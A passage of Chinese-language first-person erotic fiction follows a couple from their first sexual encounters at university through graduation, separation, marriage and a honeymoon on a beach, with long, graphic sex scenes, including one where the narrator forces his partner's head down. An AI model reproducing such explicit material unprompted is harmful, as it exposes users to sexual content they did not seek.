我没有回答,只是卖力地去亲吻,想让快感使她无暇去惊讶,果然她不再说话,只是用手慌乱地抚摸着我的头,她手上的动作,让我感觉她时而想推开我,时而想让我吻得更用力些。

我的头埋在她两腿中间,我看不到她的表情,只听见她不同以往的呻吟声。她说话的声音很好听,而呻吟起来的声音更加曼妙婉转,原来这种呻吟是不必练习的,自然地发出就让我三魂七魄为之而夺。

那声音彷彿轻柔细小得可以钻入身体的每个毛孔,将全身融化,进到五脏六腑,沁入心脾。一个端庄文静的女孩,平时与人说话轻声细语、彬彬有礼,此时却因阴部被我的舌头戏弄,发出如此诱人的声音,这对比简直奇妙得不敢想像。

我当然是第一次给女人口交,不会多少技巧,但嘴唇与阴唇的接吻便足以让她浑身颤抖。她开始无师自通的扭动着胯部,以便阴部能得到更大幅度的摩擦。

我用舌头从阴道口一直舔到上面,然后舔下来,如此反覆。终于,她呻吟着说出了要求:「亲爱的……你……要了我吧……我实在受不了了……」

她的话让我得到巨大了征服感和满足感,我还是又戏弄了她一小会,然后起身,我看到她满脸通红,眼神很期待的看着我,我也看着她,这次她的目光没有闪躲,而是清楚地告诉我,她是真的想要了。

我把她的腿弯曲抬起,分到她身体两侧,手握着阴茎在她阴道口滑动着,那里满是她的淫水和我的唾液。她知道她就要被插入了,于是急促呼吸着,焦急等待着那一瞬间的来临。

可是我却突然觉得,马上就要破掉一个女孩的处女之身,有一种很神圣也很沉重的感觉,竟犹豫不敢前进,她却按捺不住,双腿环住我的腰,用力地勾向她自己,我的犹豫也只是片刻,便将阴茎缓缓地插了进去,她「啊」的大叫一声,手指紧紧地抓住了我的胳膊,随即张大了嘴,嘴里却不再发出一点声音。

我立刻停止进入,急忙问她:「亲爱的,你很痛吗?」

她咬紧嘴唇,说:「没事的……你慢点进……」

她的阴道里满是淫水,但还是很紧,我也只能慢慢地进,可进入的时候却没有感觉到处女膜的阻挡。阴茎一点点的进入,终于整根插入了,她压抑了许久的呼吸终于吐了出来,长长的「啊」了一声。

听说很多女人在第一次做的时候会非常痛,她却好像不是很痛,我不禁心里一惊,难道她不是处女?但我想她绝不曾与其他男人发生过关係,不可能不是处女的。当我把阴茎拔出来的时候发现上面沾着血,担心她不是处女的心终于放下了,可是看着流出的血我又开始心疼。

我看到她刚才的表情,眼睛紧闭、眉心纠结,心想她也是很痛的,但是拼命忍住不叫出声来,以免让我畏手畏脚的不敢进入吧!于是我小心翼翼地把阴茎再次插入,这次好像顺畅了一些,我也清晰体会到那种包裹吸吮的快感。

我看着她紧闭的嘴唇,甚至觉得插的是她的嘴,一张小嘴紧紧闭着,里面彷彿也有一个小舌头在拨弄,不想让硕大的阴茎插入,但是却又不能阻止那无法抗拒的雄性力量,阴茎还是长驱直入,一直插到最深处。阴茎拔出来的时候,那小嘴似乎品嚐到了这肉棒的美味,又不想让它离开了,于是用嘴紧紧裹着阴茎,但是阴茎还是缓缓离开,为的是下一次的插入,如此反覆。

婷的阴道从来没有异物进入过,更别说是男人的阴茎,我是第一个进入她身体的人,这给我心理上巨大的征服感。而身体上的快感同样强烈,阴茎被温软、湿润、紧緻的阴道包裹摩擦着,被阴茎内壁的肉从四面八方挤压、按摩着,阵阵电流般的快感从阴茎传遍全身,流经哪里,哪里便随之融化酥软。

我一边加快抽插,一边双手揉搓着婷的双乳,将一对美乳时而抓起、时而压扁、时而左右晃动,婷身体上最敏感的部位同时被我侵袭着,这是她从来没有经历过的,这样极致的快感让她变得手足无措起来,一双素凈的手一会抓住我的胳膊,一会抓自己的腿,嘴里发出抑制不住的呻吟:「嗯……嗯……老公……」

我问她:「你怎幺了?亲爱的。」

她也不回答我,依然无意识的叫着:「嗯……老公……」

婷的双腿张开在我身体两侧,那双漂亮的小脚由于我一下下的冲击而可爱的晃动着,我把她的腿挂在我肩膀上,这样我就看得更仔细了,那是怎样的一对小脚啊,晶莹剔透得彷彿一件玉器,我把抚摸她乳房的一只手拿回来,握住她的脚放在脸上摩挲起来,那细腻光滑柔嫩的感觉,让人忍不住想吞下去,而我只能不住地亲吻,洁白的脚背、粉嫩的脚趾,婷的脚趾还会因为我的抽插而不安份的动着,实在是可爱,我甚至因此而分心,放缓了抽插她的速度。

我忽然想起从后面插入的那种体位,很想试一试,于是想把婷翻过身来,但是婷正很享受,对我的动作有些不解,但还是很温顺地服从我的摆弄。她趴在床上后,却不知道要摆一个什幺样的姿势才适合我的插入,于是我扶着她的屁股,上下调整着。婷的身材是那种整体苗条、局部丰满的,细腰长腿丰臀,那丰满的屁股与盈盈一握的小蛮腰形成强烈对比,只看一眼我的目光就无法移开。

我一边看着她的屁股,一边把阴茎插进她的阴道。换了一个体位,插入的角度就会不同,于是她惊叫一声,显然是有了不同的身体体验,而且女人把屁股撅起朝向男人,实在是种很淫蕩的姿势,我想她的心里一定会有羞愧感。

她的头髮散落在后背上,纤细柔软的腰肢被我双手抓住,丰满白嫩的屁股被我有力地撞击着。我看到她右边的屁股有一小块颜色发暗,忽然意识到因为她这幺多年来,每日坐在教室里坚硬的椅子上,她娇嫩的皮肤哪里受得了呢,这个勤奋认真的女孩子是多幺可爱可敬,想到这里,我很心疼的用手去摸了摸。

她把头埋在枕头里,可掩盖不住的呻吟声却越来越大了,那声音如泣如诉、悠长缠绵,而哭声中又带着难以言说的快乐,是一种杂糅着痛苦与欢乐的奇妙感觉。眼前的一幕刺激着我的视觉,而她销魂的叫声又刺激着我的听觉,以及手抚摸她腰肢和屁股的感觉,阴茎在她阴道里抽插的感觉,这一切感官冲击让我实在受不了了。

而此时婷忽然断断续续的对我说:「老公,我早知道……做爱会很舒服……但没想到……是这幺的舒服……呜呜……」

听到她这样的话,我的兴奋感达到了极致,身体也马上就要到高潮了。我大吼一声,抱着她的腰开始快速猛烈地冲刺,婷的呻吟声已经不能为她自己意识所控制,也许她已失去了意识,大声呻吟着,屋外和隔壁一定可以听得清楚真切。

我的嘶吼声混着婷的呻吟声,还有撞击她屁股的声音,迴蕩在屋子小小的空间里,我们的身体都渗出了汗水。我像一个达到最大转速的马达一样,用自己最大的力气、最快的速度撞击婷,发出了最大声的叫声。

阴茎传来的巨大快感让我大脑一片空白,而后我开始重重地喘息,婷也停止了叫喊,开始低声呻吟,她的阴道依然一下下的收缩,身体也一下下的抖动着。高潮的到来彷彿是爬山,一路努力地攀登,那快感渐渐袭来,直到登上最高峰,快感也达到顶峰,整个身体笼罩在极度舒适下,然后轻飘飘的飘下山峰。

我射精后颓然躺在了婷的身边,没有了我双手的支撑,婷也浑身无力的一下瘫软在床上。我们脸对着脸,温柔的看着对方,可是两个人的身体实在无力,连眼神都有些失神了。

休息过后,我们起身穿衣,离开了那个让我们付出了第一次的房间,后来回想起我们宝贵的第一次是在那样简陋的环境中发生,不免微微有些心酸,但转念一想,又有多少年轻的学生男女同样如此,那我也不必太在意了。

走在街上,走在校园的路上,我觉得仅仅几个小时,就变得和从前不同了,彷彿路人的眼光也能看穿我们刚才的经历。

生活波澜不惊又温馨幸福,篮球男和冉渐渐在我们的生活中淡去,成了我们都不愿意提及的历史,仍然时常有人对婷示好,婷不会对他置之不理,而是彬彬有礼,但保持着遥远的距离,我很满意她的做法。无论有多少人追求她我都不在意,只要她不为所动就好。

我们大概两週出去做一次,我倾向于到一家宾馆,那家宾馆颇有经济头脑,学生持证办学生卡就可以享受大幅优惠,但婷却总是建议到日租房,并小声的对我说:「就算宾馆便宜,去一次也够我们去日租房做两三次呢。」她是如此体贴细心,说话时害羞又俏皮的样子让人喜欢不尽,我真想立刻抱住她就做,不管是在宾馆也好,日租房也好,只要能和她做爱就好。

最初的羞涩逐渐褪去,我和婷做爱时没有了第一次时的紧张和忐忑,更多的享受性爱本身的快乐。我喜欢亲吻她粉嫩纯洁的阴部,边亲吻边抬头看她欲仙欲死的表情,听着她婉转动听的呻吟。一次中途她忽然对我说:「老公,那里被你亲真的很舒服,我也想让你感受下,我也亲亲你那里好吗?」

我听了简直立刻腾云驾雾起来,幸福来的太快太刺激,不知自己身在何处了,我何曾不期盼她能为我口交,那美丽的小嘴,水嫩的嘴唇是多幺的诱人,可是在我心中又那幺圣洁,能一吻芳泽已是幸福,又怎幺忍心把阴茎插到那样的小嘴里。

可是面对她主动的要求,我根本捨不得拒绝,于是含混的嗯了一声,她顺着我身体向下爬,直到她的脸部来到我的阴茎上方,她拿起我的阴茎,小心翼翼又胆怯的看着,她还没有这幺近距离的看过,我的阴茎被她的小手拿在手里,微微颤动着充满了期待,我心脏彷彿也快跳到了嘴边,她学着我的样子,用舌尖在阴茎下面轻轻扫过,一阵电流迅速击中了我,那是她可爱的小舌头在舔我的阴茎啊,心理上的刺激更胜过身体上的快感,她毕竟是不得要领,只是用舌头舔阴茎下面,有时用嘴唇亲吻,也不接触龟头,于是我不安的把阴茎向她嘴边挺动,轻轻的对她说:「亲爱的……把它含到嘴里好吗?」

她有些诧异的抬头看我问道:「能含进去吗?」也不知她是觉得阴茎大嘴小含不进去,还是嫌阴茎髒不能含。

我只嗯嗯的回答并点头,在得到我肯定的回答后,她又低下头看了看阴茎,看了十几秒,才张开嫩的像花瓣似的双唇,把龟头轻轻含到嘴里,可是只含进半个龟头,即便这样我也被刺激的全身一震。她的唇在那停留半天,既不深入也不退出,我等得急不可耐,向上挺立胯部,想把阴茎在她嘴里插的更深一点,她的头却不自主的也跟着抬起来,我心急如焚,动作也粗鲁起来,用手摁下她的头,让她动弹不得,然后慢慢的向下压她的头,她也顺从的把嘴张大,让阴茎一点点的进入。

她的嘴里真是别样的境界,温润滑软,阴茎被包裹的好像进入了阴道,但却又是不同的感受和心理。她水润的嘴唇紧紧贴在我阴茎的皮肤上,一淌口水从她嘴里流到了我阴茎上,我迫不及待的要插到她嘴里的最深处,于是急迫的摁她的头,又用力的挺胯,结果一下阴茎插进大半根,她猛的咳了起来,我急忙抽出阴茎起身抚摸她后背,心里满是怜惜和自责,她咳嗽了几声,咳的涨红了脸,刚不咳了就对我说:「没事的老公……你躺那吧……继续来。」说话的时候眼睛还不停的眨着,睫毛扑闪的,显然还没有完全恢复,我心中升腾起的感动简直要把我燃烧掉。

她清了清嗓子说:「老公,我会了……这次你就放心吧。」于是重又低下头,极力的把我的阴茎含到最深,我的眼前朦胧了起来,她怎幺可以这样乖巧体贴,那我该如何来爱她,连付与她生命也是微不足惜的。

儘管她说她会了,实际上当然不可能会,她只是把阴茎深深含在嘴里,然后舌头小幅度的在里面舔舐阴茎,但这又有什幺呢,技术怎样是无关紧要的,只要她能心甘情愿的为你这幺做,爱才是最大的快感。感动与快感的交织,真是无法言说的体验,深爱的女人在为自己口交,那是世间再幸福也没有的事了。

后来口交的次数多了,她也渐渐熟练了起来,懂得像做爱一样,让阴茎在嘴里一下下的进进出出,懂得嘴唇和舌头要有轻重缓急,懂得一只手握住阴茎套弄并用嘴含住龟头,另只手抚摸阴囊,或者亲吻阴囊时用手撸动阴茎,她知道我的喜好,知道要用多大的力度。有些是无师自通,有些是按照我的指示,有些则是看片时学来的。

婷在我家第一次看那种片时真是有趣,躲在我身侧后看,我猛回头看她,她赶紧低头,我哈哈笑着对她说:「有什幺不好意思的,你只管看看吧。」在我的鼓励下,她还是低着头,用眼睛瞄着屏幕。我上厕所回来的时候,藉着沖水声音的掩盖,脚步轻轻的走到门口,偷偷看她,她正在目不转睛的盯着屏幕,看着屏幕上赤裸的男女肆无忌惮的做爱,男人正在粗暴的蹂躏女人。婷呆呆的表情显得很可爱,我走进屋子,就想看到她紧张的样子,果然她突然看见我,不安的扭动了几下身体,显得很不好意思。

我忍不住向婷扑了上去,几下除去了她的衣衫,她看那些火热的镜头看得情欲高涨浑身酥软,软绵绵的任我摆布,我伸手摸她阴部,水都流到屁股上了,而我的阴茎也早已勃起,于是不用任何前戏就可以直接插入,我们看着屏幕上的体位,模仿着相同的动作,而我觉得婷的叫床声比片子里的女人动听多了。

婷趴在床上,白皙浑圆的屁股向我翘起着,我在她的身后抽插,婷娇声喘息着对我说:「老公……你也像片子里那样……对我粗暴一点吧……」片子里的男人揪着女人的头髮,狠命的抓她乳房,我无论如何也舍不得那样对待婷,于是稍稍用力的拍打婷的屁股,婷发出了一声声的呻吟,我想对片子里的动作要有取捨的模仿吗。看着婷白嫩的屁股上了有了我红色的指痕,虽然我也觉得兴奋,但不忍继续打了,轻轻的心疼的抚摸着。

高潮过后,婷躺在我的臂弯里,把头埋在我胸前,害羞的说:「老公……这样做好难为情……好像看着别人又让人看着。」随后又吃吃的笑:「不过也好刺激。」我哈哈大笑,狠命的亲了一口她光洁的额头。

时光流转,转眼已是大三,我和婷的性生活及生活都越来越默契和谐,只觉日子里满是阳光、花香和色彩。凭爱好选择各种选修课,这本身也算是我们的一种爱好。婷的一个音乐选修课老师知道了她会弹钢琴,就要她在新年晚会演出,我早知道她会弹钢琴,从小练琴,通过了业余十级,但从没有机会听过,老师盛情难却,但婷不是一个喜欢表现自己的人,她顾虑重重的对我说:「我还没从在那幺多人面前弹过,会不会紧张呢。」

我鼓励她说:「还记得高中运动会时你在前面领队吗?之前你也是很紧张的,但是上了场表现的很镇定自信,步伐铿锵啊。」

婷又说:「可是近几年练习的很少,都生疏了。」

我安慰她:「不会啦,我想就像骑自行车和游泳似的,会了就不忘了,你练习几天就恢复了。」

婷有些惆怅的点点头,好像面对着巨大的挑战,此后她便经常泡在音乐教室,还好那音乐老师是个老太太。

新年晚会是在新年前几天举行的,学校礼堂里坐满了人,空地上也站满了人,我拉来我班很多同学为婷加油,她的节目安排在后段,我漫不经心的看着前面的节目,学校里的文艺人才济济,果真是歌舞青春,但我的心思不在这里,我只是很紧张的盼着婷的出场。

终于主持人报了钢琴独奏并说出了婷的名字,我身边的室友用胳膊肘用力的碰我,我们班一起大声叫好,礼堂里有两个地方的叫声最高,一个是婷的同学们所坐那区域,另一个就是我班这里了。

婷又是一身白裙,当然不是高中的那件,这件更加高贵素雅,那架钢琴也很气派,估计平时就放置在礼堂后台的,否则从别处搬来就太麻烦了。

她微微一鞠躬,坐在了钢琴凳上,美妙的音乐缓缓的从她手指下流出,她那纤长白嫩的手指如果不弹钢琴真是浪费。白衣的美人和黑色的钢琴互相衬着,画面是那样的和谐,音乐却彷彿只是背景了。不知为何,钢琴总能用一种高雅的氛围将人笼罩,观众们都安静下来,静静的听着,婷瀑布似的长发散落在后背,她只专注于面前的这架钢琴,十指彷彿黑白键上跳动着的音符,身体也随着节奏轻轻摆动,她全身心的徜徉在音乐的世界里。我也不由得看得癡了,此刻她是如此神圣不可方物,遥远而高贵,这是那个和我每日相处的女子吗,我甚至恍惚起来,想起那些与她缠绵的画面才能使自己相信,但想到了那些,又觉得自己猥琐不堪,怎能对她做那样的事,亵渎了她无暇的纯洁,此时想到那些都是不该的。

一曲终了,观众们直到余音散去,才一起热烈的鼓掌,两个亲友团甚至失去了作用,我们的掌声被淹没了。婷起身向大家致谢,秀美的脸庞优美的身段此时显得更加出众,骄傲的幸福让我一阵天旋地转。她,是我的女朋友。

晚会过后我见到婷时,她已经换回了平时的衣服,笑颜如花的看着我,看得出她也很高兴,体会了被众人欣赏的成就感和快乐,但她从来不会欣喜若狂到忘乎所以。我上前抱住她庆祝她的成功。

在那之后婷在校园里总会吸引别人的目光,那一定都是看过晚会的人,婷并不享受别人的注视,像往常的日子一样,她依然平静的上课、吃饭、上自习,某个週末与我开房做爱。

快乐的日子总是显得太快,终于到了分别的六月,校园里瀰漫着伤感的情绪,歇斯底里的狂欢只是掩盖伤感的发洩,班级的、学院的、同乡的、协会的一场又一场的聚会,一杯又一杯的酒,忆不完的叙旧,道不完的珍重,过去的留恋,前途的迷茫,还有恋人们无可奈何的诀别,让人如何能够承受,只有醉一场梦一场,而后各奔东西。

我与婷是决心无论如何都不会分手的,只要心在一起的,其他的一切又算得什幺阻碍。

将同学一个个的送走了,有的返乡,有的直接去工作单位,离别的车站洒下了女同学们无数的眼泪。当初我出于对自然的热爱,选择了这个专业,具体是什幺就不必说了,而今只能奔赴野外工作,我已回家去过,然后又返回了学校,再走就是直接去工作了,而婷是在当地一所学校工作。

这时已是七月,人都走的差不多了。我是七月十一日的票,离别就在眼前,那几日,每时每刻都在和婷在一起,彷彿永远不能再相见一般,我们疯狂的做爱,长长的拥吻,嘴唇捨不得分开,或者看着对方的聊天,或者静静的坐在一起。虽然不是永别,可多久才能重逢,也许半年,也许一年,对我们来说,那没有什幺分别,都是太久太久了。

无论怎样惧怕分别,它总是会来到的,我在寝室和没走的几个同学告别了,让他们不用送我,我的东西都送回了家,现在也没有几件了,不必送了。

对婷我也是这幺说的,好像有些残忍,可是我真的不想见到站台上生离死别的场面,婷很委屈的和我说:「送了多少个人,为什幺单单不送你。」

我逗她说:「我估计你送了多少人,就哭了多少次吧。」

婷很坚定的说:「谁哭了,就哭了两次,我们事先说好不许哭的,谁哭谁是小狗,好不好?我肯定不会哭的,我一定要去送你。」我拗不过她只好同意。

十一日那天我和婷吃完饭,磨磨蹭蹭的来到了车站,看着周围送别的人们,觉得自己孤零零的有点可怜,还好有婷在身边,说来有趣,给别人送行时我和婷几次在车站遇到,却是在送不同的人,彼此说话也不多,这次终于轮到她送我了。她果然不像之前送别人时那样伤感,而是笑着不停的和我说着话,可我的心和她的笑声却都不是那幺的晴朗。

就要上火车了,我淡淡的吻了吻她的唇,没有用力吻,情感太剧烈了恐怕两人都受不了,淡淡的,正好。

我在她耳边说:「不许傻傻的跟着火车跑听见没,像拍电影似的,最俗套了,你老老实实的站在那,招招手转身就回去,过几天你也要去报到了。」

婷听话的连连点头。

我鬆开拉着她的手,她上前两步,终于站定了。我坐在了座位上,看着车窗下的她,她努力的向我笑笑,又想说什幺,这时一声长鸣,火车缓缓启动了,婷来不及说什幺,忽然哇的一声哭了出来:「你什幺时候回来啊……你什幺时候回来啊……」不停的只是重複这一句话,并推开前面的人,跟在我的车窗下走着,泪眼婆娑的看着我。

我向她挥手让她别跟着走了:「很快的……很快的……听话别哭……之前你怎幺说的。」

婷还是不听话的跑了起来,而火车却越来越快,她跟不上了,我把头探到窗外,向她挥挥手,就狠心转过身不去看她,如果她一直能看到我,恐怕会一直跟着跑。

过一会我还是忍不住又伸头到窗外看她,婷远远的身影已变得很小了,她慢慢的跟着火车走着,列车带走了我的身体,我的心却留在了婷那里。

「不许哭的,谁哭谁是小狗。」我心里想着婷这句话,压抑许久的眼泪终于控制不住的流了出来,我掏出手机给婷发了条信息:「我也陪你当小狗了。」

我心想,世界上有你这幺可爱的小狗吗,让我如此深爱。

火车最让人有流浪的感觉,远离了家乡和心爱的人,那些树木房屋原野,飞逝着退后,落在了时光后面,落到了记忆里面,这时光流逝的形象化,总能让我无端端的伤感起来,而这次离别了婷,伤感更不是无端的了。

到了基地之后,我发现原先低估了艰苦程度,吃住不便,周围都是男人和冰冷的仪器,实在无生趣,而我原本憧憬的壮美河山又在哪里,恐怕只在我的想像里。起初我什幺都不会做,只能跟着师傅打下手,但也要风里来雨里去,更有睡帐篷的时候,清晨醒来,寒露沾我衣,想到家人想到婷,不由得心中苦楚,而我有机会打电话回去时也总是说,挺好的,一切都挺好的,婷说她也很好,老师都对她很照顾,学生们也喜欢她,要我安心的在这里,既然选择了就要热爱。

我每每挂上电话,总是怅然若失的长叹一声,生活怎样无所谓,最难熬的是对她的刻骨思念,有时让人无法忍受,但我不想说出来,这种无法解决的问题告诉她有什幺用呢,只说我爱你我想你就可以了,我知道她同样如此的,又何必让对方担心。于是婷说的更多的是办公室的故事,聪明的学生调皮的学生,还有教师集体宿舍的生活很热闹,让她好像还是在学生时代,我能讲的故事则乏味的多。我时常想,按我们当年的成绩,都不该是如今这般情况。

后来学校给部分老师发放租房补贴,婷就一个人到外面租房住了,先是在距离学校很远的地方租的一室一厅,室内室外环境都不错,但每天上下班要做很长时间的车,婷又改在学校附近租了一间,租金变贵了面积变小了。本来这些曲折和不便,婷总是用淡淡的语气和我说,好像并不是很艰难。

但这一次婷却忍不住向我哭诉:「老公……隔壁房东真的不是个好人,有几次晚上回去,房间里的东西被动过,但又没丢什幺,但床上有躺过的痕迹,衣柜里的内衣也被翻过……我真的很害怕……」

我很气愤又很着急:「那就不在那里住了,快换一个地方。」

婷说:「我和那人说想退房,可是交三个月的押金,才过了一半,那人不给退。」

我说:「那就不要了,安全最重要,再说在这整天提心吊胆的被他噁心着,犯不上,听话亲爱的。」

婷又楚楚可怜的说:「我心疼钱嘛,便宜了那坏人……坏死了……」

我略一思忖下定决心:「我们结婚吧,买了房子,你就不用这幺辛苦的四处奔波了,我们和家里商量一下,让父母都帮帮忙。」

婷有些激动:「我们要结婚了吗……可是……我想我们自己赚钱呢……」

我叹了口气:「哎……靠我们自己要等多少年,你我的收入都不高,就算借的吧,我们以后慢慢还,就可以少向银行贷些款了,怎幺也比把大把利息给银行要好。」

婷同意了,双方的父母也同意了,他们都很盼着我们结婚。

次年一月放假回家,婷也放了寒假,我们看房,买房,装修,儘管买的是现房,努力加快工程速度,但是假期结束时也没有竣工,我申请延长了假期。

在装修风格上,我很尊重婷的意见,她骨子里还是喜欢浪漫温馨的风格,于是卧室里装修成了田园风格,我看着屋里粉色的花纹们,觉得好像堕入了温柔乡,不是很欣赏,但是我没有反对,只要婷喜欢就好了。

大体竣工后我返回了基地,我们计划在暑假时结婚,我想用自己的收入给她买钻戒和衣服,还有一架钢琴,于是积极攒钱,不和前辈师傅们喝酒吃饭,我收入比他们少很多的。有些人有机会就到市里去嫖妓,我从来不去,不仅是不想花钱,最主要是不想对不起婷,于是解决性问题的办法,是伴随对婷性幻想的自慰。别人说我,何必过的那幺清苦,整天吃那乏味的饭,也不知改善一下,我说食堂是免费的啊,你这顿自己花钱吃,免费的就吃不到了,而且还做了你那份,岂不是浪费了。

婷的暑假终于来了,这也是我的婚假,我和婷一起买了钻戒,和一架钢琴,本来婷说她父母要把家里的钢琴送给她,我说你妈妈也会弹,送给你她就没得弹了,还是自己买一架吧。虽然花去了我大半的积蓄,但看到婷眼中闪动的泪花,我的心里充盈着巨大的幸福。

婚礼上,很多人说她是所见过的最美的新娘,我相信他们不是恭维,而是真心,因为她那天神采奕奕,光芒照人,美的让人不敢直视,一旦直视,就会目不转睛。我们按照主持人的吩咐做着繁琐的程序,儘管不喜欢这些繁文缛节,但在巨大的喜悦下,这些也算不得什幺了。

婚礼过后客人散尽,我和婷坐下来,只是握着手静静的看着对方,什幺都不用说,都能知道对方的心情,这幺多年来终于等到了这一天,有一种身心放鬆的踏实感。

度蜜月旅游时,我们把过去的一切辛苦抛在脑后,远离都市,纵情山水间,我们不是很喜欢一些人山人海的旅游胜地,只喜欢一些清静幽美的世外桃源。我们住过宾馆,特色民居等各种房屋,那简直是我们人生中最无拘无束,最无忧无虑,最快乐悠然的日子。人在旅途,心却安详的如在家乡,过着平静的田园生活,太阳初升时看见她熟睡中微笑的脸,我彷彿是一个幸福满足的农夫,日出而作,日落而息,男耕女织,恩爱美满,美好的日子会永远如此的过下去,然而事实上,这期间我们走过了很多地方,看来人的归属感不取决于身在何方,只取决于和谁在一起,只要和婷在一起,天下都是我的家,我的心就是安宁的。

在海边小村的一家渔家乐游玩时,我们尽情的与海拥抱。海滨浴场的海不是真正的海,只是旅游景点。我们沿着海滩走了很远,直到人迹罕至,在这偏远渔村的海边,没有如织游人打扰,没有凡尘俗事萦怀,才是属于我们的真正的海,天地间只有我们与大海,让人有一种崇高的孤独感。我们坐在沙滩上,让海水轻柔的抚摸双脚,大海深处彷彿在轻轻的吟唱。夕阳西沉,映得天边的云呈现出奇异瑰丽的颜色,余晖洒在波光跳动的海面上,犹如碎金,天地间的颜色如此和谐映衬,碧蓝的天空下是幽蓝的海洋,天蓝清澈见底,海蓝却多了神秘。

夕阳橙红中带了金黄,将婷的侧脸笼罩上了一层柔和的光芒,于是那张侧脸美的无法言说,她静静的坐在那里,仙子一般神圣而出世,如同一尊立体了的油画,或是说,上了颜色的雕塑,然而再高超的艺术品,也表现不出她鲜活和灵性,她的嘴角微翘,睫毛不时闪动,出神的凝望着海天相接处。亲爱的,你在这里看风景,而你却是我眼中最美的风景。

婷靠在我的肩头,良久不说话,此时说与不说都不重要了。我轻轻的把她揽在怀里,她的秀髮散发出淡淡的馨香,我低下头去吻她的唇,她闭上了眼睛,张开樱唇迎合着我,我们的舌头纠缠在了一起,吻着吻着,慾火在身体里逐渐上升,海风的清凉也无法将它熄灭。我的吻从温柔变成狂野,在她的脸上脖子上疯狂的亲吻,她躺在我怀里,一只手抓着我的胳膊,呼吸也变得急促起来,我抚摸她的乳房,并解开她胸口的衣钮,亲吻露出的乳肉,婷的身体变得更加不安。看她现在的状态,下面一定湿了,我很想伸进她裤子里,摸摸她阴道流出的水,可是我的手接触过沙子和海水,不乾净了,就没有摸。

我的阴茎早已高高耸起,顶在婷的后背,渴望着进入她的身体。婷也扭动身体蹭我的阴茎,她也很动情了,嘴里轻轻的叫着:「老公……老公……」我们熟悉对方所有的习惯,我知道这是婷想要做爱的委婉表达,她几乎从来不用语言直接要求,而是用身体的表现,和呻吟般般的呼唤来间接表达。所以她偶尔说出的淫蕩话语才会让我兴奋不已,清纯女子的淫蕩最能撩拨男人心弦。

我把婷扶起身来,让她趴在沙滩上,然后从她身后撩起她的裙子,褪下她的内裤,雪白的屁股便袒露在天地间,我深深的吸了一口气,浩瀚大海与浑圆美臀,壮美自然与优美人体,这样的对比和搭配真是别样风景。此时天色渐晚,举目眺望,四周都不见人影,我们便无所畏惧起来。

我跪在婷的身后,低头吻了吻她的臀部,直起身来,将阴茎插入了婷的阴道,腿下的细沙还是温热的,而婷的阴道同样温热,想来我的阴茎更是滚烫的,婷温软湿润的阴道急切的吞没了我火热的阴茎,我们俩同时发出一声愉悦的呻吟,那呻吟很快就淹没在了波浪中。在这广袤的空间里做爱,也生出一种天人合一的感觉。

我在婷的身后缓缓的抽动,婷的长发瀑布一般倾泻在沙滩上,并随着我的抽动,髮梢轻拂着沙粒。海浪轻轻蕩漾,冲向我们,不时泛起雪白的浪花,婷丰满的屁股同样在蕩漾着,颤动的臀肉如同雪白浪花,一波一波涌向大海。

亿万年来,涛声从未停息,孕育了地球生命的大海,彷彿在轻轻吟唱着生命最原始的渴望,而婷也在低声呜嚥着,诉说着身体的渴望与快乐。

婷的阴道温柔的包裹着我的阴茎,温暖着它,抚慰着它,那是女性大自然般的慈悲,有如天地,孕育生命,怀抱生命,给它们最柔软的呵护,生命却何曾懂得感恩,我滚烫坚硬的阴茎同样如此,在婷柔软的阴道里翻搅肆虐,婷悦耳如同天籁的呻吟声,与大海的声音融合。

我双手抚摸婷的乳房,并将她抱起,扳过她的脸,将舌头伸进她的嘴里搅动,婷上下同时被侵袭,让她不由得发出更大的呻吟声,而这声音却被我的嘴堵住。

婷的阴道渐渐紧缩,给我越来越大的快感,我放开婷的身体让她重又趴下,然后抓住婷的纤腰,低吼着做最后的冲刺,婷的臀肉被我撞击着疯狂翻滚,在杳无人迹的大海边,她也肆无忌惮的大声呻吟,那是我没有听过的。我的快感在体里激荡,忽然一股热热的精液喷薄而出,悉数射进了婷的阴道,从前我是不会这样做的。与此同时,婷的阴道一阵律动,她大叫着,猛的把头埋在沙滩上的秀髮里,双手向前伸出,抓进了沙滩里,慢慢的向后划动,沙滩上留下了她纤纤十指的深深痕迹。

极致的快感和疲惫过后,我颓然坐在地上,婷依然趴在地上,背部上下起伏,呼吸仍未平复,我帮她提上内裤放下裙子,然后躺在沙滩上,拉她躺在我的胸口,婷一定也能感受到我的心在剧烈的跳动,我伸手摸她的左乳,她的心和我一样频率的跳动,我就那样的摸着,等待着慢慢平静。

婷有些无力的对我说:「老公……你烫的我好舒服……真希望它永远留在我那里,永远是那个温度,不会冷却。」

她说的当然是我的精液,我摸摸她的头髮,说:「傻孩子,哪里会有不冷却的,不过以后我可以无所顾忌的烫你了,你高兴吧。」

婷害羞的「嗯」了一声,把头埋在我怀里,我梳理着她的头髮,两个人又久久的不说话了。

不知不觉间,沙滩渐渐凉了下去,月亮已经升起,微凉的海风吹的人很惬意,此时已经很晚了,我们仍并肩躺着不愿起身,望着浩瀚天空,点点繁星闪烁,仿佛触手可及,却是遥不可及,我和婷在茫茫天地间生出的孤独感,让我们紧紧抱住对方,我们是如此渺小,却在无边无际的宇宙中真实存在,在亿万年的时间长河里恰好相遇,在此刻拥有着对方,是一件多幺幸运的事情。

那一刻如梦如幻,不愿醒来,但我们终究不得不起身回到现实,罩着月色,临着海风,踏浪而行。

那段日子本身也像一个梦境,以后回想起来都幸福的不甚真实。我们回到各自的生活后,依然天各一方,我在孤独的岁月里,荒凉的旷野里,无数次回忆着每个瞬间,又想着此刻婷在做什幺,是否已入睡,是否也一样在想我。新婚不久就让她独守新房,我的心里充满了内疚,决定儘早回到她所在的城市,做什幺都好,还有什幺比两个人在一起更重要的。苦闷的思念和恼人的性慾,不知她是怎样忍受和解决的。

我问过她,她很释然的告诉我,她自己弄的时候,就把自己的手指想像成我的阴茎,好像真的和我做爱一样,也是很好很好的,她越显得轻鬆,就越让我内疚,一个年轻的女人,凭什幺累月得不到性爱的滋润,我想她是为了不让我内疚而故作轻鬆,性慾无法释放的压抑我感同身受,并非那幺轻鬆的。

于是假期里和她在一起的时候,在属于我们自己的房子里,我们总是疯狂做爱,像是要弥补过去和将来所缺失的。

在那个假期里,婷的同事们聚会,要求有家属的带家属来,于是我也参加了,教师们在酒后也会放声高歌,我唱了两首歌后,觉得包厢里太闷了,到卫生间洗了下脸,在走廊的窗户前透透气,这时有人拍了下我后背,是婷的一个同事,和我年纪相仿,友善的对我笑了笑,我同样礼貌的点头笑笑。

他递给我根烟,我说不会抽。

他自己点上后,对我说:「今天第一次看见你啊。」

我客气的回答:「我也是,幸会幸会。」

他和我一样的姿势,手臂拄在窗檯上,说:「大家都对婷的老公很好奇,不知是什幺样的人中龙凤。」

